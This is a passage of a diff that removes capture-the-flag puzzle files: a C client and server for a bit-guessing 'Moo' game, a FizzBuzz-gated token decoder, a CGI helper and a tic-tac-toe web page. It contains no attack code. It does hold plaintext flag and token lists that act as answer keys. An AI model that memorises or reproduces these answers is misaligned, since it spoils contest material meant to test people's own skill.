out = stdout;
|
||||
}
|
||||
|
||||
|
||||
while (1) {
|
||||
long guess;
|
||||
struct {
|
||||
uint32_t token;
|
||||
uint16_t guess;
|
||||
} g;
|
||||
|
||||
g.token = token;
|
||||
if (token) {
|
||||
char line[20];
|
||||
|
||||
if (NULL == fgets(line, sizeof line, in)) {
|
||||
break;
|
||||
}
|
||||
g.guess = strtol(line, NULL, 16);
|
||||
} else {
|
||||
g.guess = 0;
|
||||
}
|
||||
|
||||
/* Send the guess */
|
||||
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
|
||||
perror("Sending packet");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
/* read the result */
|
||||
{
|
||||
char buf[80];
|
||||
ssize_t len;
|
||||
|
||||
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
|
||||
switch (len) {
|
||||
case -1:
|
||||
perror("Reading packet");
|
||||
return EX_IOERR;
|
||||
case 1:
|
||||
/* It's a score */
|
||||
printf("%02x\n", buf[0]);
|
||||
break;
|
||||
case 4:
|
||||
/* New game token */
|
||||
printf("NEW GAME\n");
|
||||
token = *((uint32_t *) buf);
|
||||
break;
|
||||
default:
|
||||
/* You win: this is your CTF token */
|
||||
buf[len] = 0;
|
||||
printf("A WINNER IS YOU: %s\n", buf);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,199 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <sysexits.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#define TIMEOUT 30
|
||||
|
||||
#define NTOKENS 20
|
||||
#define TOKENLEN 50
|
||||
char tokens[NTOKENS][TOKENLEN];
|
||||
int ntokens;
|
||||
|
||||
char *admonishment = "Try for fewer guesses next time!\n";
|
||||
|
||||
struct state {
|
||||
time_t death;
|
||||
uint16_t answer;
|
||||
uint16_t guesses;
|
||||
};
|
||||
|
||||
#define NSTATES 500
|
||||
struct state states[NSTATES] = { 0 };
|
||||
|
||||
int
|
||||
bind_port(struct in6_addr *addr, int fd, uint16_t port)
|
||||
{
|
||||
struct sockaddr_in6 saddr = { 0 };
|
||||
|
||||
saddr.sin6_family = AF_INET6;
|
||||
saddr.sin6_port = htons(port);
|
||||
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
|
||||
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
|
||||
}
|
||||
|
||||
|
||||
struct newgame {
|
||||
uint16_t offset;
|
||||
uint16_t token;
|
||||
};
|
||||
|
||||
void
|
||||
new_game(int sock, time_t now, struct sockaddr_in6 *from,
|
||||
socklen_t fromlen)
|
||||
{
|
||||
int i;
|
||||
struct newgame g;
|
||||
|
||||
for (g.offset = 0; g.offset < NSTATES; g.offset += 1) {
|
||||
struct state *s = &states[g.offset];
|
||||
|
||||
if (s->death < now) {
|
||||
s->death = now + TIMEOUT;
|
||||
s->guesses = 0;
|
||||
s->answer = 0;
|
||||
|
||||
for (i = 0; i < 4; i += 1) {
|
||||
s->answer = (s->answer << 4) | ((random() % 6) + 1);
|
||||
}
|
||||
|
||||
g.token = s->answer;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("=%02x\n", g.token);
|
||||
|
||||
if (g.offset < NSTATES) {
|
||||
sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen);
|
||||
}
|
||||
}
|
||||
|
||||
struct guess {
|
||||
uint16_t offset;
|
||||
uint16_t token;
|
||||
uint16_t guess;
|
||||
};
|
||||
|
||||
void
|
||||
loop(int sock)
|
||||
{
|
||||
struct guess g;
|
||||
struct state *cur;
|
||||
struct sockaddr_in6 from;
|
||||
socklen_t fromlen = sizeof from;
|
||||
time_t now = time(NULL);
|
||||
|
||||
/*
|
||||
* Read guess
|
||||
*/
|
||||
{
|
||||
ssize_t inlen;
|
||||
|
||||
inlen = recvfrom(sock, &g, sizeof g, 0,
|
||||
(struct sockaddr *) &from, &fromlen);
|
||||
if (inlen != sizeof g) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Bounds check
|
||||
*/
|
||||
if (g.offset >= NSTATES) {
|
||||
g.offset = 0;
|
||||
}
|
||||
cur = &states[g.offset];
|
||||
|
||||
if ((g.token != cur->answer) || /* Wrong token? */
|
||||
(cur->death < now) || /* Old game? */
|
||||
(cur->guesses++ > 100)) { /* Too dumb? */
|
||||
/*
|
||||
* Start a new game
|
||||
*/
|
||||
new_game(sock, now, &from, fromlen);
|
||||
return;
|
||||
} else {
|
||||
uint8_t reply = 0;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 4; i += 1) {
|
||||
int s = (g.guess >> (i * 4)) & 0xf;
|
||||
int a = (cur->answer >> (i * 4)) & 0xf;
|
||||
if ((s < 1) || (s > 7)) {
|
||||
reply = 0;
|
||||
break;
|
||||
} else if (s == a) {
|
||||
reply += 0x10;
|
||||
} else if (s & a) {
|
||||
reply += 0x01;
|
||||
}
|
||||
}
|
||||
printf("%02x ? %02x\n", g.guess, reply);
|
||||
|
||||
if (reply == 0x40) {
|
||||
char *r;
|
||||
|
||||
if (cur->guesses <= ntokens) {
|
||||
r = tokens[cur->guesses - 1];
|
||||
} else {
|
||||
r = admonishment;
|
||||
}
|
||||
sendto(sock, r, strlen(r) - 1, 0,
|
||||
(struct sockaddr *) &from, fromlen);
|
||||
cur->death = 0;
|
||||
} else {
|
||||
sendto(sock, &reply, sizeof reply, 0,
|
||||
(struct sockaddr *) &from, fromlen);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
int sock;
|
||||
int i;
|
||||
struct in6_addr addr;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
if (argc > 1) {
|
||||
if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
|
||||
fprintf(stderr, "invalid address: %s\n", argv[1]);
|
||||
return EX_IOERR;
|
||||
}
|
||||
} else {
|
||||
memcpy(&addr, &in6addr_any, sizeof addr);
|
||||
}
|
||||
|
||||
/*
|
||||
* Read in tokens
|
||||
*/
|
||||
for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) {
|
||||
if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
printf("Read %d tokens.\n", ntokens);
|
||||
|
||||
/*
|
||||
* Set up socket
|
||||
*/
|
||||
sock = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
i = bind_port(&addr, sock, 3782);
|
||||
if (-1 == i) {
|
||||
perror("Bind port 3782");
|
||||
return EX_IOERR;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
loop(sock);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,10 +0,0 @@
|
|||
moo:1000000:xikov-fybir-zurox
|
||||
moo:9:xukiv-hudyb-fesix
|
||||
moo:8:xecoh-nyfyh-degix
|
||||
moo:7:xihap-synik-gesix
|
||||
moo:6:xegek-rulyz-polux
|
||||
moo:5:xitiz-fokel-radix
|
||||
moo:4:xuzif-gakit-fogyx
|
||||
moo:3:xisav-nodob-besex
|
||||
moo:2:xumol-peker-pibox
|
||||
moo:1:xilom-zosyk-cavux
|
|
@ -1,91 +0,0 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Welcome</title>
|
||||
<link rel="stylesheet" href="../ctf.css" type="text/css">
|
||||
</head>
|
||||
<body>
|
||||
<h1>Moo.</h1>
|
||||
<p>
|
||||
You are trying to guess a 4-nybble sequence. Each nybble will have
|
||||
either 1 or 2 bits set, and the highest bit will never be set. The
|
||||
game server will tell you how many nybbles in each guess were correct,
|
||||
and how many had one correct bit. It does not tell you which
|
||||
positions.
|
||||
</p>
|
||||
|
||||
<h2>The Cow Client</h2>
|
||||
|
||||
<p>
|
||||
<a href="cowcli">Download the client</a>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The client connects to the Cow server running on the IPv6
|
||||
address provided in argument 1. The client reads a guess
|
||||
in the form of 4 ASCII numerals, and prints the number of
|
||||
correct nybbles followed by the number of nybbles with one
|
||||
correct bit.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Here is an example of a session:
|
||||
</p>
|
||||
|
||||
<pre>
|
||||
1111
|
||||
12
|
||||
2222
|
||||
10
|
||||
4444
|
||||
02
|
||||
4244
|
||||
12
|
||||
1244
|
||||
22
|
||||
1255
|
||||
moo:xylep-radar-nanox
|
||||
</pre>
|
||||
|
||||
<p>
|
||||
You can use a program like <samp>socat</samp> to connect
|
||||
the client to a logic program you write:
|
||||
</p>
|
||||
<pre>
|
||||
socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
|
||||
</pre>
|
||||
|
||||
<p>
|
||||
This will allow your program to read and write from stdio
|
||||
of the client program.
|
||||
</p>
|
||||
|
||||
|
||||
<h2>The Cow Protocol</h2>
|
||||
|
||||
<p>
|
||||
cowd runs on port 3782 on fd84:b410:3441::ec6.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The client always sends 6 octets. To request a new session, it sends
|
||||
all zeroes. Otherwise it sends the 4-octet game identifier provided
|
||||
by the server, concatenated with a 2-octet guess.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The server will respond with a new game identifier (4 octets) to a new
|
||||
game request or if the game requested is too old. If a guess is
|
||||
incorrect, the server will respond with either a 1-octet score in
|
||||
which the high nybble is the number of correct nybbles in the guess,
|
||||
and the low nybble is the number of nybbles in the guess with one
|
||||
correct bit. If a guess is correct, the server will respond with a
|
||||
token of length 5 octets or more.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
There are multiple tokens, one per number of guesses used, up to
|
||||
some maximum number of guesses defined per server instance.
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
|
@ -1,13 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
for i in $(seq 100); do
|
||||
if [ $(expr $i % 15) = 0 ]; then
|
||||
echo 'FizzBuzz'
|
||||
elif [ $(expr $i % 3) = 0 ]; then
|
||||
echo 'Fizz'
|
||||
elif [ $(expr $i % 5) = 0 ]; then
|
||||
echo 'Buzz'
|
||||
else
|
||||
echo $i
|
||||
fi
|
||||
done
|
|
@ -1,29 +0,0 @@
|
|||
FIZZBUZZ_PKGDIR = $(TARGET)/fizzbuzz
|
||||
FIZZBUZZ_BUILDDIR = $(BUILD)/fizzbuzz
|
||||
|
||||
$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/tokens.txt
|
||||
$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/fizzbuzz-client.sh
|
||||
$(FIZZBUZZ_BUILDDIR)/token.enc: $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native
|
||||
packages/fizzbuzz/fizzbuzz-client.sh | $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native 3< packages/fizzbuzz/tokens.txt > $@
|
||||
|
||||
$(FIZZBUZZ_BUILDDIR)/fizzbuzz-native: packages/fizzbuzz/src/fizzbuzz.c
|
||||
@ mkdir -p $(@D)
|
||||
cc -o $@ $<
|
||||
|
||||
fizzbuzz-install: fizzbuzz-build
|
||||
mkdir -p $(FIZZBUZZ_PKGDIR)/bin/
|
||||
|
||||
$(call COPYTREE, packages/fizzbuzz/service, $(FIZZBUZZ_PKGDIR)/service)
|
||||
|
||||
cp packages/fizzbuzz/tokens.txt $(FIZZBUZZ_PKGDIR)/
|
||||
cp $(FIZZBUZZ_BUILDDIR)/token.enc $(FIZZBUZZ_PKGDIR)/
|
||||
cp packages/fizzbuzz/src/fizzbuzz $(FIZZBUZZ_PKGDIR)/bin/
|
||||
|
||||
fizzbuzz-clean:
|
||||
rm -rf $(FIZZBUZZ_PKGDIR) $(FIZZBUZZ_BUILDDIR)
|
||||
$(MAKE) -C packages/fizzbuzz/src clean
|
||||
|
||||
fizzbuzz-build: $(FIZZBUZZ_BUILDDIR)/token.enc
|
||||
$(MAKE) -C packages/fizzbuzz/src build
|
||||
|
||||
PACKAGES += fizzbuzz
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
dbip -d
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec $CTF_BASE/packages/fizzbuzz/bin/fizzbuzz 3<$CTF_BASE/packages/fizzbuzz/token.enc
|
|
@ -1 +0,0 @@
|
|||
13
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,7 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
|
||||
IP=$(dbip -a)
|
||||
|
||||
exec tcpsvd -u nobody ${IP%/*} 1013 ./go
|
|
@ -1,11 +0,0 @@
|
|||
CFLAGS = -Wall -Werror
|
||||
TARGETS = fizzbuzz
|
||||
|
||||
all: build
|
||||
build: $(TARGETS)
|
||||
|
||||
install: $(TARGETS)
|
||||
install -m 0755 $(TARGETS) $(DESTDIR)/bin
|
||||
|
||||
clean:
|
||||
rm -f *.o $(TARGETS)
|
|
@ -1,86 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/*
|
||||
* How this works:
|
||||
*
|
||||
* You have to provide this with the output of a fizzbuzz program to get
|
||||
* it to decode the token.
|
||||
*
|
||||
* Provide the encoded token on fd 3, and it will output the decode
|
||||
* provided correct input. If you provided the decoded token, it will
|
||||
* encode it. In other words, encode(x) = decode(x).
|
||||
*
|
||||
*
|
||||
* Here's a fizzbuzz program in bourne shell:
|
||||
*
|
||||
* for i in $(seq 100); do
|
||||
* if [ $(expr $i % 15) = 0 ]; then
|
||||
* echo 'FizzBuzz'
|
||||
* elif [ $(expr $i % 3) = 0 ]; then
|
||||
* echo 'Fizz'
|
||||
* elif [ $(expr $i % 5) = 0 ]; then
|
||||
* echo 'Buzz'
|
||||
* else
|
||||
* echo $i
|
||||
* fi
|
||||
* done
|
||||
*
|
||||
*/
|
||||
|
||||
char craptable[] = {
|
||||
0x64, 0xd4, 0x11, 0x55, 0x50, 0x16, 0x61, 0x02,
|
||||
0xf7, 0xfd, 0x63, 0x36, 0xd9, 0xa6, 0xf2, 0x29,
|
||||
0xad, 0xfb, 0xed, 0x7a, 0x06, 0x91, 0xe7, 0x67,
|
||||
0x80, 0xb6, 0x53, 0x2c, 0x43, 0xf9, 0x3c, 0xf2,
|
||||
0x83, 0x5c, 0x25, 0xee, 0x21
|
||||
};
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
int i;
|
||||
char token[100];
|
||||
size_t tokenlen;
|
||||
|
||||
{
|
||||
FILE *tokenin = fdopen(3, "r");
|
||||
|
||||
if (! tokenin) {
|
||||
printf("Somebody didn't read the instructions.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
tokenlen = fread(token, 1, sizeof(token), tokenin);
|
||||
fclose(tokenin);
|
||||
}
|
||||
|
||||
|
||||
for (i=1; i <= 100; i += 1) {
|
||||
char l[100];
|
||||
|
||||
fgets(l, sizeof(l), stdin);
|
||||
|
||||
if (0 == i % 15) {
|
||||
if (0 != strcmp("FizzBuzz\n", l)) break;
|
||||
} else if (0 == i % 3) {
|
||||
if (0 != strcmp("Fizz\n", l)) break;
|
||||
} else if (0 == i % 5) {
|
||||
if (0 != strcmp("Buzz\n", l)) break;
|
||||
} else {
|
||||
if (atoi(l) != i) break;
|
||||
}
|
||||
|
||||
token[i % tokenlen] ^= i;
|
||||
token[i % tokenlen] ^= craptable[i % sizeof(craptable)];
|
||||
}
|
||||
|
||||
if (101 == i) {
|
||||
fwrite(token, tokenlen, 1, stdout);
|
||||
} else {
|
||||
printf("Next time, FizzBuzz me.\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1 +0,0 @@
|
|||
net:xuhen-fizuv-syvex
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1 +0,0 @@
|
|||
Kelcey Tietjen <ktietjen@lanl.gov>
|
|
@ -1,9 +0,0 @@
|
|||
5 UGOTIT
|
||||
5 ugotit
|
||||
10 making science
|
||||
30 viewfinders filets
|
||||
40 b00m! face punch.
|
||||
40 B00M! FACE PUNCH.
|
||||
60 A WINNER IS YOU
|
||||
80 overhaul credential
|
||||
90 A WINNER IS WHO?
|
Binary file not shown.
Before Width: | Height: | Size: 178 KiB |
|
@ -1,241 +0,0 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "cgi.h"
|
||||
|
||||
#ifdef NODUMP
|
||||
# define DUMPf(fmt, args...)
|
||||
#else
|
||||
# define DUMPf(fmt, args...) fprintf(stderr, "%s:%s:%d " fmt "\n", __FILE__, __FUNCTION__, __LINE__, ##args)
|
||||
#endif
|
||||
#define DUMP() DUMPf("")
|
||||
#define DUMP_d(v) DUMPf("%s = %d", #v, v)
|
||||
#define DUMP_x(v) DUMPf("%s = 0x%x", #v, v)
|
||||
#define DUMP_s(v) DUMPf("%s = %s", #v, v)
|
||||
#define DUMP_c(v) DUMPf("%s = '%c' (0x%02x)", #v, v, v)
|
||||
#define DUMP_p(v) DUMPf("%s = %p", #v, v)
|
||||
|
||||
|
||||
#define POST_MAX 1024
|
||||
|
||||
/*
|
||||
* CGI
|
||||
*/
|
||||
static int is_cgi = 0;
|
||||
static char **argv = NULL;
|
||||
|
||||
static int
|
||||
read_char_argv()
|
||||
{
|
||||
static int arg = 0;
|
||||
static char *p;
|
||||
|
||||
if (NULL == argv) {
|
||||
return EOF;
|
||||
}
|
||||
|
||||
if (0 == arg) {
|
||||
arg = 1;
|
||||
p = argv[1];
|
||||
}
|
||||
|
||||
if (! p) {
|
||||
return EOF;
|
||||
} else if (! *p) {
|
||||
arg += 1;
|
||||
p = argv[arg];
|
||||
return '&';
|
||||
}
|
||||
|
||||
return *(p++);
|
||||
}
|
||||
|
||||
static int
|
||||
read_char_stdin()
|
||||
{
|
||||
static int inlen = -1;
|
||||
|
||||
if (-1 == inlen) {
|
||||
char *p = getenv("CONTENT_LENGTH");
|
||||
if (p) {
|
||||
inlen = atoi(p);
|
||||
if (inlen > POST_MAX) {
|
||||
inlen = POST_MAX;
|
||||
}
|
||||
if (inlen < 0) {
|
||||
inlen = 0;
|
||||
}
|
||||
} else {
|
||||
inlen = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (inlen) {
|
||||
inlen -= 1;
|
||||
return getchar();
|
||||
}
|
||||
return EOF;
|
||||
}
|
||||
|
||||
static int
|
||||
read_char_query_string()
|
||||
{
|
||||
static char *p = (char *)-1;
|
||||
|
||||
if ((char *)-1 == p) {
|
||||
p = getenv("QUERY_STRING");
|
||||
}
|
||||
|
||||
if (! p) {
|
||||
return EOF;
|
||||
} else if (! *p) {
|
||||
return EOF;
|
||||
} else {
|
||||
return *(p++);
|
||||
}
|
||||
}
|
||||
|
||||
static int (* read_char)() = read_char_argv;
|
||||
|
||||
int
|
||||
cgi_init(char *global_argv[])
|
||||
{
|
||||
char *rm = getenv("REQUEST_METHOD");
|
||||
|
||||
if (! rm) {
|
||||
read_char = read_char_argv;
|
||||
argv = global_argv;
|
||||
} else if (0 == strcmp(rm, "POST")) {
|
||||
read_char = read_char_stdin;
|
||||
is_cgi = 1;
|
||||
} else if (0 == strcmp(rm, "GET")) {
|
||||
read_char = read_char_query_string;
|
||||
is_cgi = 1;
|
||||
} else {
|
||||
printf(("405 Method not allowed\r\n"
|
||||
"Allow: GET, POST\r\n"
|
||||
"Content-type: text/plain\r\n"
|
||||
"\r\n"
|
||||
"%s is not allowed.\n"),
|
||||
rm);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static char
|
||||
tonum(int c)
|
||||
{
|
||||
if ((c >= '0') && (c <= '9')) {
|
||||
return c - '0';
|
||||
}
|
||||
if ((c >= 'a') && (c <= 'f')) {
|
||||
return 10 + c - 'a';
|
||||
}
|
||||
if ((c >= 'A') && (c <= 'F')) {
|
||||
return 10 + c - 'A';
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static char
|
||||
read_hex()
|
||||
{
|
||||
int a = read_char();
|
||||
int b = read_char();
|
||||
|
||||
return tonum(a)*16 + tonum(b);
|
||||
}
|
||||
|
||||
/* Read a key or a value. Since & and = aren't supposed to appear
|
||||
outside of boundaries, we can use the same function for both.
|
||||
*/
|
||||
size_t
|
||||
cgi_item(char *str, size_t maxlen)
|
||||
{
|
||||
int c;
|
||||
size_t pos = 0;
|
||||
|
||||
while (1) {
|
||||
c = read_char();
|
||||
switch (c) {
|
||||
case EOF:
|
||||
case '=':
|
||||
case '&':
|
||||
str[pos] = '\0';
|
||||
return pos;
|
||||
case '%':
|
||||
c = read_hex();
|
||||
break;
|
||||
case '+':
|
||||
c = ' ';
|
||||
break;
|
||||
}
|
||||
if (pos < maxlen - 1) {
|
||||
str[pos] = c;
|
||||
pos += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
cgi_head(char *title)
|
||||
{
|
||||
if (is_cgi) {
|
||||
printf("Content-type: text/html\r\n\r\n");
|
||||
}
|
||||
printf(("<!DOCTYPE html>\n"
|
||||
"<html>\n"
|
||||
" <head>\n"
|
||||
" <title>%s</title>\n"
|
||||
" </head>\n"
|
||||
" <body>\n"
|
||||
" <h1>%s</h1>\n"),
|
||||
title, title);
|
||||
}
|
||||
|
||||
void
|
||||
cgi_foot()
|
||||
{
|
||||
printf("\n"
|
||||
" </body>\n"
|
||||
"</html>\n");
|
||||
}
|
||||
|
||||
void
|
||||
cgi_result(int code, char *desc, char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
if (is_cgi) {
|
||||
printf("%d %s\r\n", code, desc);
|
||||
}
|
||||
cgi_head(desc);
|
||||
va_start(ap, fmt);
|
||||
vprintf(fmt, ap);
|
||||
va_end(ap);
|
||||
cgi_foot();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void
|
||||
cgi_page(char *title, char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
cgi_head(title);
|
||||
va_start(ap, fmt);
|
||||
vprintf(fmt, ap);
|
||||
va_end(ap);
|
||||
cgi_foot();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void
|
||||
cgi_error(char *text)
|
||||
{
|
||||
cgi_result(500, "Internal error", "<p>%s</p>", text);
|
||||
}
|
||||
|
|
@ -1,14 +0,0 @@
|
|||
#ifndef __CGI_H_
|
||||
#define __CGI_H_
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
int cgi_init(char *global_argv[]);
|
||||
size_t cgi_item(char *str, size_t maxlen);
|
||||
void cgi_head(char *title);
|
||||
void cgi_foot();
|
||||
void cgi_result(int code, char *desc, char *fmt, ...);
|
||||
void cgi_page(char *title, char *fmt, ...);
|
||||
void cgi_error(char *text);
|
||||
|
||||
#endif
|
Binary file not shown.
Before Width: | Height: | Size: 10 KiB |
|
@ -1,212 +0,0 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>General Statics</title>
|
||||
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
|
||||
<style type="text/css">
|
||||
html {
|
||||
background: url("bg.jpg");
|
||||
}
|
||||
body {
|
||||
background: black url("p2.png") no-repeat top center;
|
||||
background-size: contain;
|
||||
color: magenta;
|
||||
max-width: 44em;
|
||||
margin: auto;
|
||||
padding: 2em;
|
||||
}
|
||||
h1 {
|
||||
background: silver url("data.png") no-repeat top center;
|
||||
background-size: 100% 100%;
|
||||
color: green;
|
||||
}
|
||||
.hidden {
|
||||
font-size: small;
|
||||
opacity: 0.1;
|
||||
herring: #f00;
|
||||
}
|
||||
table#game {
|
||||
float: right;
|
||||
border-collapse: collapse;
|
||||
text-align: center;
|
||||
background: #400;
|
||||
color: white;
|
||||
margin: 2em;
|
||||
}
|
||||
table#game td {
|
||||
border: solid 5px white;
|
||||
width: 3em;
|
||||
height: 3em;
|
||||
}
|
||||
table#game tr:first-child td {
|
||||
border-top: 0;
|
||||
}
|
||||
table#game tr:last-child td {
|
||||
border-bottom: 0;
|
||||
}
|
||||
table#game tr td:first-child {
|
||||
border-left: 0;
|
||||
}
|
||||
table#game tr td:last-child {
|
||||
border-right: 0;
|
||||
}
|
||||
|
||||
#login {
|
||||
position: absolute;
|
||||
bottom: 10px;
|
||||
}
|
||||
</style>
|
||||
<script type="text/javascript">
|
||||
var pending = false;
|
||||
var aleph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@";
|
||||
var board = [[0,0,0],[0,0,0],[0,0,0]];
|
||||
|
||||
function clicky(y, x) {
|
||||
var td = document.getElementById("t" + y + x);
|
||||
|
||||
if (pending) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (board[y][x] > 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
board[y][x] = 1;
|
||||
|
||||
// Build up state
|
||||
var b = "";
|
||||
for (var y = 0; y < 3; y += 1) {
|
||||
var acc = 0;
|
||||
|
||||
for (var x = 0; x < 3; x += 1) {
|
||||
acc <<= 2;
|
||||
acc += board[y][x];
|
||||
}
|
||||
b += aleph.charAt(acc);
|
||||
}
|
||||
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/ttt.cgi", false);
|
||||
request.send("b=" + b);
|
||||
if (request.status == 200) {
|
||||
var rt = request.responseText;
|
||||
|
||||
if (rt.length == 3) {
|
||||
for (var y = 0; y < 3; y += 1) {
|
||||
var acc = aleph.indexOf(rt[y]);
|
||||
|
||||
for (var x = 2; x >= 0; x -= 1) {
|
||||
board[y][x] = acc & 3;
|
||||
acc >>= 2;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
alert(rt);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
update();
|
||||
}
|
||||
|
||||
function update() {
|
||||
var be = document.getElementById("board");
|
||||
|
||||
for (var y = 0; y < 3; y += 1) {
|
||||
for (var x = 0; x < 3; x += 1) {
|
||||
var e = document.getElementById("t" + y + x);
|
||||
|
||||
if (board[y][x] == 1) {
|
||||
e.innerHTML = "X";
|
||||
} else if (board[y][x] == 2) {
|
||||
e.innerHTML = "O";
|
||||
} else {
|
||||
e.innerHTML = "";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var c = unescape("vlkkrolv.zhk%7D%7F%60msou%3Aao%7F%7Cq%7B%7Bu%3Amk%7Fj%7Ctzp%7Bb9ux%7Chfxob9y%7C%7C%7Ekwngxv");
|
||||
|
||||
function u() {
|
||||
var o = document.getElementById("output");
|
||||
var i = document.getElementById("input").value.split("-");
|
||||
var k = i[0];
|
||||
var r = parseInt(i[1] || 0);
|
||||
var s = [];
|
